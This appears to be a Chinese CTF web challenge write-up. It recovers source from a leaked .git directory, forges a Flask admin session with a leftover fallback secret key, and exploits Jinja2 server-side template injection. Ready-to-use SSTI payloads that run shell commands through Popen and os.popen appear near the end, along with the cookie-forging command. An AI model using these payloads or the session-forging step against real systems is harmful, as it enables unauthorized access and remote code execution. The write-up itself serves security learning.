image-20260120155308000

题目提示扫目录

image-20260120155351046

发现.git泄露,用rip-git把.git还原

1
rip-git -u http://ctf.furryctf.com:33061/.git

image-20260120155449143

审计app.py文件查看路由/login,可以看到,无论怎么登录都是不行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

if username == 'admin' and password == 'Nexusadmin2025!@#':

return render_template('login.html', error="错误:该账户已启用多因素认证 (MFA),请使用硬件密钥登录。")

if "'" in username:

return render_template('login.html', error="System Warning: Illegal character detected in input stream.")

return render_template('login.html', error="用户名或密码错误")

return render_template('login.html')

查看路由**/dashboard**,可以看到登录admin后存在SSTI漏洞,session的role为admin进行登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{% raw %}
@app.route('/dashboard')
def dashboard():
if session.get('role') == 'admin':

username = request.args.get('u', 'Administrator')
template = f"""
{{% extends "base.html" %}}
{{% block content %}}
<div class="alert alert-success">
<h2>欢迎回到管理控制台, {username}!</h2>
<p>系统完整性检查:通过</p>
<p>Flag 服务状态:待机</p>
</div>
{{% endblock %}}
"""
return render_template_string(template)
else:
return redirect(url_for('login'))

{% endraw %}

查看config.py文件,可以看到SECRET_KEY是随机的,但是如果SECRET_KEY认证失败,就会尝试使用SECRET_KEY_FALLBACKS列表中的密钥,所以直接使用SECRET_KEY_FALLBACKS列表中的密钥伪造session

1
2
3
4
import os
# Auto-generated by KMS rotation service
SECRET_KEY = os.urandom(32)
SECRET_KEY_FALLBACKS = ["This_key_has_been_deprecated_v2023"]

可以利用flask-session-cookie-manager工具

1
2
3
python3 flask_session_cookie_manager3.py encode -s "This_key_has_been_deprecated_v2023" -t "{'role':'admin'}"

#eyJyb2xlIjoiYWRtaW4ifQ.aW84JQ.hjtgx2XSNiq-9x2vIFqTggstWNY

image-20260120160854776

然后访问路由dashboard,把伪造的session带上

1
Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.aW84JQ.hjtgx2XSNiq-9x2vIFqTggstWNY

image-20260120161428460

成功的登录admin,根据路由dashboard下面那句话可以知道,username会从get传参的u取值然后渲染的页面上,默认Administrator

1
2
3
username = request.args.get('u', 'Administrator')

<h2>欢迎回到管理控制台, {username}!</h2>

我们直接找可利用的类,找到Popen

image-20260120164723035

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 获取 subclasses 列表文本
raw_classes = sys.argv[1]
# 获取所有要查找的目标关键字
targets = sys.argv[2:]

# 将字符串拆分为列表并清理多余符号
# 用 ', ' 拆分更准确,因为类名之间通常有空格
class_list = [c.strip() for c in raw_classes.split(',')]

print(f"\n[*] 正在列表中搜索 {len(targets)} 个目标...\n")

# 遍历每一个你想找的关键字
for target in targets:
found = False
print(f"--- 搜索关键字: \033[1;33m{target}\033[0m ---")

# 遍历类列表寻找匹配项
for idx, name in enumerate(class_list):
if target.lower() in name.lower(): # 不区分大小写搜索
print(f"[\033[1;32m+\033[0m] Index: \033[1;36m{idx}\033[0m -> {name}")
found = True

if not found:
print(f"[\033[1;31m-\033[0m] 未找到匹配 '{target}' 的类")
print()

image-20260120164617510

构造payload

1
2
3
4
{% raw %}
?u={{''.__class__.__base__.__subclasses__()[357]('cat /flag',stdout=-1,shell=True).communicate()}}

{% endraw %}

image-20260120165623799

1
2
3
4
5
{% raw %}
也可以用os._wrap_close类
payload:?u={{''.__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('cat /flag').read()}}

{% endraw %}

image-20260120165733668

image-20260120165456134